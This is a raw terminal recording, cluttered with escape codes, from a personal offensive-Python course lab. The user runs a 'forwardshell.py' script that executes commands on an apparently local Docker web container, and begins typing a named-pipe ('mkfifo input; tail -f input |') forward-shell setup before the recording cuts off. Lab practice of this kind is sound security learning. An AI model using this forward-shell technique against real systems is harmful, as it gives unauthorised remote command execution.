[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/git/personal/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/python-ofensivo/15_hacking/12_fs/[1m[38;5;31m[38;5;39mscript[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;101m[39mtook [0m[49m[38;5;101m7m 18s[0m[38;5;101m[49m[38;5;101m[0m[38;5;101m[49m[38;5;101m[0m[38;5;101m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 18:34:09[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;196m❯[0m[38;5;196m[49m[38;5;196m[0m[38;5;196m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[106C[0m[49m[38;5;38m🏠 192.168.1.112[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.55[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[139D[?1h=[?2004h[?25l
[A[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/git/personal/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/python-ofensivo/15_hacking/12_fs/[1m[38;5;31m[38;5;39mscript[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;101m[39mtook [0m[49m[38;5;101m7m 18s[0m[38;5;101m[49m[38;5;101m[0m[38;5;101m[49m[38;5;101m[0m[38;5;101m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 18:34:09[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;196m❯[0m[38;5;196m[49m[38;5;196m[0m[38;5;196m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[106C[0m[49m[38;5;38m🏠 192.168.1.112[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.54[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[139D[?25h[32mpy[39m [4mforwardshell.py[24m[?1l>[?25l[?2004l
[A[0m[27m[24m[J[0m[49m[27m[24m[38;5;196m❯[0m[38;5;196m[49m[39m[27m[24m [32mpy[39m [4mforwardshell.py[24m[K[?25h
|
||||
]2;python3 forwardshell.py]1;py[33m> [0mexit
|
||||
|
||||
[33m> [0mexit
|
||||
|
||||
[33m> [0m^C[34m
|
||||
[!] Exiting...[0m
|
||||
[1m[7m%[27m[1m[0m
]2;v@victus:~/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script]1;../12_fs/script]7;file://victus/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script\
[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/git/personal/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/python-ofensivo/15_hacking/12_fs/[1m[38;5;31m[38;5;39mscript[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;101m[39mtook [0m[49m[38;5;101m6s[0m[38;5;101m[49m[38;5;101m[0m[38;5;101m[49m[38;5;101m[0m[38;5;101m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 18:35:25[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;196m❯[0m[38;5;196m[49m[38;5;196m[0m[38;5;196m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[106C[0m[49m[38;5;38m🏠 192.168.1.112[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.54[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[139D[?1h=[?2004h[32mpy[39m [4mforwardshell.py[24m[?1l>[?25l[?2004l
[A[0m[27m[24m[J[0m[49m[27m[24m[38;5;196m❯[0m[38;5;196m[49m[39m[27m[24m [32mpy[39m [4mforwardshell.py[24m[K[?25h
|
||||
]2;python3 forwardshell.py]1;py[33m> [0mexit
|
||||
|
||||
[33m> [0mexit
|
||||
|
||||
[33m> [0m^C[34m
|
||||
[!] Exiting...[0m
|
||||
[1m[7m%[27m[1m[0m
]2;v@victus:~/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script]1;../12_fs/script]7;file://victus/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script\
[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/git/personal/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/python-ofensivo/15_hacking/12_fs/[1m[38;5;31m[38;5;39mscript[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;101m[39mtook [0m[49m[38;5;101m10s[0m[38;5;101m[49m[38;5;101m[0m[38;5;101m[49m[38;5;101m[0m[38;5;101m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 18:36:02[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;196m❯[0m[38;5;196m[49m[38;5;196m[0m[38;5;196m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[106C[0m[49m[38;5;38m🏠 192.168.1.112[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.54[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[139D[?1h=[?2004h[32mpy[39m [4mforwardshell.py[24m[?1l>[?25l[?2004l
[A[0m[27m[24m[J[0m[49m[27m[24m[38;5;196m❯[0m[38;5;196m[49m[39m[27m[24m [32mpy[39m [4mforwardshell.py[24m[K[?25h
|
||||
]2;python3 forwardshell.py]1;py[33m> [0mexit
|
||||
|
||||
[33m> [0mls
|
||||
index.php
|
||||
|
||||
[33m> [0me ^C[34m
|
||||
[!] Exiting...[0m
|
||||
[1m[7m%[27m[1m[0m
]2;v@victus:~/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script]1;../12_fs/script]7;file://victus/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script\
[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/git/personal/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/python-ofensivo/15_hacking/12_fs/[1m[38;5;31m[38;5;39mscript[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;101m[39mtook [0m[49m[38;5;101m10s[0m[38;5;101m[49m[38;5;101m[0m[38;5;101m[49m[38;5;101m[0m[38;5;101m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 18:36:36[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;196m❯[0m[38;5;196m[49m[38;5;196m[0m[38;5;196m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[106C[0m[49m[38;5;38m🏠 192.168.1.112[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.54[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[139D[?1h=[?2004h[1m[31mp[0m[39m[1m[31mp[0m[39m[90my forwardshell.py[39m[17D[1m[31mp[1m[31mh[0m[39m[39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [16D[1m[31mp[1m[31mh[1m[31mp[0m[39m --interactive[?1l>[?25l[?2004l
[A[0m[27m[24m[J[0m[49m[27m[24m[38;5;196m❯[0m[38;5;196m[49m[39m[27m[24m [1m[31mphp[0m[39m --interactive[K[?25h
|
||||
]2;php --interactive]1;phpzsh: command not found: php
|
||||
[1m[7m%[27m[1m[0m
]2;v@victus:~/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script]1;../12_fs/script]7;file://victus/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script\
[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/git/personal/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/python-ofensivo/15_hacking/12_fs/[1m[38;5;31m[38;5;39mscript[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 18:36:56[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;196m❯[0m[38;5;196m[49m[38;5;196m[0m[38;5;196m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[106C[0m[49m[38;5;38m🏠 192.168.1.112[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.54[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[139D[?1h=[?2004h[32md[39m[32md[39m[90m exec -it 2f2 bash[39m[18D[33md[33mo[39m[39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [17D[90mcker port[39m[9D[1m[31md[1m[31mo[1m[31mc[0m[39m[1m[31mc[1m[31mk[0m[39m[1m[31mk[1m[31me[0m[39m[0m[32md[0m[32mo[0m[32mc[0m[32mk[0m[32me[32mr[39m[39m [39me[39m [39m [39m [90mxec -it 0fc1 sh[39m[15D[39mx[39me[39mc[39m [39m-[39mi[39mt[39m [39m0[39mf[39mc[39m1[39m [39ms[39mh[?1l>[?25l[?2004l
[A[0m[27m[24m[J[0m[49m[27m[24m[38;5;196m❯[0m[38;5;196m[49m[39m[27m[24m [32mdocker[39m exec -it 0fc1 sh[K[?25h
|
||||
]2;docker exec -it 0fc1 sh]1;dockerError response from daemon: No such container: 0fc1
|
||||
[1m[7m%[27m[1m[0m
]2;v@victus:~/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script]1;../12_fs/script]7;file://victus/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script\
[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/git/personal/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/python-ofensivo/15_hacking/12_fs/[1m[38;5;31m[38;5;39mscript[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 18:37:09[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;196m❯[0m[38;5;196m[49m[38;5;196m[0m[38;5;196m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[106C[0m[49m[38;5;38m🏠 192.168.1.112[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.54[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[139D[?1h=[?2004h[32md[39m[32md[39m[90mocker exec -it 0fc1 sh[39m[22D[32md[39m[39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [21D[90mexec -it 2f2 bash[39m[17D[39me[39mx[39me[39mc[39m [39m-[39mi[39mt[39m [39m2[39mf[39m2[39m [39mb[39ma[39ms[39mh[?1l>[?25l[?2004l
[A[0m[27m[24m[J[0m[49m[27m[24m[38;5;196m❯[0m[38;5;196m[49m[39m[27m[24m [32md[39m exec -it 2f2 bash[K[?25h
|
||||
]2;docker exec -it 2f2 bash]1;droot@2f2f81768a05:/var/www/html# php --version
|
||||
PHP 7.0.33 (cli) (built: Dec 29 2018 06:50:58) ( NTS )
|
||||
Copyright (c) 1997-2017 The PHP Group
|
||||
Zend Engine v3.0.0, Copyright (c) 1998-2017 Zend Technologies
|
||||
root@2f2f81768a05:/var/www/html# php --interactive
|
||||
Interactive shell
|
||||
|
||||
php > exit
|
||||
root@2f2f81768a05:/var/www/html# e exit
|
||||
exit
|
||||
[1m[7m%[27m[1m[0m
]2;v@victus:~/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script]1;../12_fs/script]7;file://victus/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script\
[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/git/personal/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/python-ofensivo/15_hacking/12_fs/[1m[38;5;31m[38;5;39mscript[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;101m[39mtook [0m[49m[38;5;101m1m 55s[0m[38;5;101m[49m[38;5;101m[0m[38;5;101m[49m[38;5;101m[0m[38;5;101m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 18:39:09[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;76m❯[0m[38;5;76m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[106C[0m[49m[38;5;38m🏠 192.168.1.112[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.54[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[139D[?1h=[?2004h[1m[31mm[0m[39m[1m[31mm[0m[39m[90mkdir script[39m[11D[1m[31mm[1m[31mk[0m[39m[1m[31mm[1m[31mk[1m[31md[0m[39m[1m[31md[1m[31mi[0m[39m[0m[32mm[0m[32mk[0m[32md[0m[32mi[32mr[39m[39m [39mc[39m [39m [39m [39m [39m [90match-all/01_scripts_descifrador_wargame.py[39m[42D[39mi[39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [41Dbnc [90match-all/01_scripts_descifrador_wargame.py[39m[42D[39mo[39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [41D[90mmandos-pelado[39m[13D[39mn[39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [12Dcepto[?1l>[?25l[?2004l
[A[0m[27m[24m[J[0m[49m[27m[24m[38;5;76m❯[0m[38;5;76m[49m[39m[27m[24m [32mmkdir[39m concepto[K[?25h
|
||||
]2;mkdir concepto]1;mkdir[1m[7m%[27m[1m[0m
]2;v@victus:~/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script]1;../12_fs/script]7;file://victus/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script\
[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/git/personal/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/python-ofensivo/15_hacking/12_fs/[1m[38;5;31m[38;5;39mscript[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 18:39:33[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;76m❯[0m[38;5;76m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[106C[0m[49m[38;5;38m🏠 192.168.1.112[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.54[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[139D[?1h=[?2004h[32ml[39m[32ml[39m[90ms[39m[32ml[32ms[39m[?1l>[?25l[?2004l
[A[0m[27m[24m[J[0m[49m[27m[24m[38;5;76m❯[0m[38;5;76m[49m[39m[27m[24m [32mls[39m[K[?25h
|
||||
]2;ls --color=tty]1;ls[0m[01;34mconcepto[0m forwardshell.py
|
||||
[1m[7m%[27m[1m[0m
]2;v@victus:~/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script]1;../12_fs/script]7;file://victus/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script\
[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/git/personal/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/python-ofensivo/15_hacking/12_fs/[1m[38;5;31m[38;5;39mscript[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 18:39:33[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;76m❯[0m[38;5;76m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[106C[0m[49m[38;5;38m🏠 192.168.1.112[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.54[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[139D[?1h=[?2004h[4mc[24m[4mc[24m[90mode forwardshell.py[39m[19D[4mc[39m[4mo[24m[4mc[4mo[39m[4mn[24m[39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [17D[90mcatenadas="hola $kease"[39m[23D[4mn[39m[4mc[24m[4mc[39m[4me[24m[39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [21D[4me[4mp[24m[4m[32mc[4m[32mo[4m[32mn[4m[32mc[4m[32me[4m[32mp[4m[32mto[1m[4m[32m/[0m[24m[39m[4m[32mo[24m[39m[0m[24m[39m [?1l>[?25l[?2004l
[A[0m[27m[24m[J[0m[49m[27m[24m[38;5;76m❯[0m[38;5;76m[49m[39m[27m[24m [4m[32mconcepto[24m[39m[K[?25h
|
||||
]2;concepto]1;concepto[1m[7m%[27m[1m[0m
]2;v@victus:~/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script/concepto]1;..ript/concepto]7;file://victus/home/v/Documents/projectes/git/personal/curso-python/python-ofensivo/15_hacking/12_fs/script/concepto\
[0m[27m[24m[J[0m[49m[39m
|
||||
[A[0m[49m[39m🐧[0m[49m[39m[0m[49m [0m[49m[38;5;31m[1m[38;5;31m[38;5;39m~[0m[38;5;39m[49m[38;5;31m/[38;5;103mDoc[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[38;5;103mgi[0m[38;5;103m[49m[38;5;31m/[38;5;103mp[0m[38;5;103m[49m[38;5;31m/[1m[38;5;31m[38;5;39mcurso-python[0m[38;5;39m[49m[38;5;31m/python-ofensivo/15_hacking/12_fs/script/[1m[38;5;31m[38;5;39mconcepto[0m[38;5;39m[49m[38;5;31m[0m[38;5;31m[49m[38;5;31m[0m[38;5;31m[49m [0m[38;5;31m[49m[38;5;76m[39mon [0m[49m[38;5;76m[38;5;76m☕️ main [38;5;39m?1[0m[38;5;39m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[38;5;39m 🔒 ES[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;39m[0m[38;5;39m[49m[38;5;81m vpn[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;81m[0m[38;5;81m[49m[38;5;66m [39mat [0m[49m[38;5;66m⚡ 18:39:36[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[38;5;66m[0m[38;5;66m[49m[39m
|
||||
[0m[49m[38;5;76m❯[0m[38;5;76m[49m[38;5;76m[0m[38;5;76m[49m[30m[0m[30m[49m[39m [0m[49m[39m[K[106C[0m[49m[38;5;38m🏠 192.168.1.112[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;38m[0m[38;5;38m[49m[38;5;94m 📡 192.145.39.54[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[38;5;94m[0m[38;5;94m[49m[39m[139D[?1h=[?2004h[1m[31mm[0m[39m[1m[31mm[0m[39m[90mkdir concepto[39m[13D[1m[31mm[1m[31mk[0m[39m[1m[31mm[1m[31mk[1m[31mf[0m[39m[39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [11D[90mifo --help[39m[10D[1m[31mf[1m[31mi[0m[39m[1m[31mi[1m[31mf[0m[39m[0m[32mm[0m[32mk[0m[32mf[0m[32mi[0m[32mf[32mo[39m[39m [39mi[39m [39m [39m [39m [39m npyt; ut;[1m[31mt[0m[39m[0m[39m [1m[31mt[0m[39m[1m[31mt[1m[31ma[0m[39m[1m[31ma[1m[31mi[0m[39m[0m[32mt[0m[32ma[0m[32mi[32ml[39m -f inop put | 